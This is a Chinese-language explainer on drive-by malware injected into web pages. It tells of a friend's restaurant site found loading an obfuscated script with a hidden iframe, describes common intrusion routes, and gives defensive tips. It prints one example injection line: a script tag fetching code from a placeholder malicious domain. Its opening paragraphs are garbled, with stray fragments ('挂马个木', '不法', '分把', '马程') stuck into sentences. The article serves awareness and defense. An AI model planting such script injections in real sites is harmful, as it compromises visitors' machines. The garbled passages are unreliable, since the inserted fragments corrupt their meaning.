网页挂马指的网页是不法分子把一个木马程序悄悄塞进正常网页的代码里。你打开那个页面，挂马个木看起来跟平时没两样——新闻照常显示，不法图片照常加载，分把但后台已经在你电脑上跑了一段你根本看不见的马程脚本。等你发现不对劲，网页可能已经是挂马个木几天后的事了。

这种事我遇到过一回。不法大概三年前，分把我帮一个开小餐馆的马程朋友看他的网站。那站很简单，网页就几个页面，挂马个木放菜单、不法地址、分把电话。马程他说最近有客人反映打开网站后浏览器会弹奇怪的东西，他自己用手机试又没事。我拿笔记本连了店里的WiFi，用浏览器打开首页，F12调出开发者工具，在Network面板里看到一个来自陌生域名的js文件，大小只有2KB。点开一看，代码被混淆过，但末尾有一段很明显的document.write，往页面里注入了一个隐藏的iframe，指向另一个IP。那个iframe宽高都是0，普通访客根本看不到。

这就是典型的挂马手法。攻击者不一定直接黑进服务器，很多时候是找到了网站后台的弱口令，或者利用CMS（内容管理系统）某个插件的已知漏洞，上传一个很小的webshell，然后往公共模板文件里插入一行<script src="http://恶意域名/xxx.js"></script>。这行代码可以放在页脚、统计代码旁边，甚至伪装成jQuery的某个版本引用。管理员如果不定期检查源码，根本注意不到。

挂马的目的很直接：要么偷你的账号密码，要么把你的机器变成僵尸网络的一部分，要么弹广告赚流量费。早些年流行盗QQ号，现在更多是挖矿或者勒索。我见过一个案例，某地方论坛被挂马后，访问者的CPU占用率飙升到90%以上，风扇狂转。后来查出来，那个木马是一个门罗币挖矿脚本，藏在网页里，只要页面开着就一直跑。

普通用户怎么防？说实话，挺难的。你没法要求每个人都去看网页源码。但有几件事做了肯定有用：浏览器保持最新版本，装一个靠谱的广告拦截插件（比如uBlock Origin），它能挡掉很多已知的恶意域名。还有，别随便点那些来路不明的短链接，尤其是短信里发的“同学聚会照片”“你的快递有问题”之类。我自己的习惯是，看到陌生链接先复制到urlscan.io这类在线沙箱里跑一下，看看它加载了哪些外部资源。

网站管理员那边，责任更大。定期更新CMS核心和插件，别用admin/admin这种密码，后台登录尽量加个二次验证。还有个小技巧：在服务器上装个文件完整性监控工具，比如aide或者简单的find命令定时扫描，一旦模板文件被改动就发邮件报警。我朋友那个站后来就是靠这个发现的——凌晨三点，footer.php被改了一行，监控脚本立刻给他发了通知。

挂马这件事，本质上是攻防双方在拼细节。攻击者找最省事的入口，防守方就得把每个不起眼的角落都堵上。没有一劳永逸的办法，但多留个心眼，至少不会成为最容易得手的那一个。

(责任编辑：百科)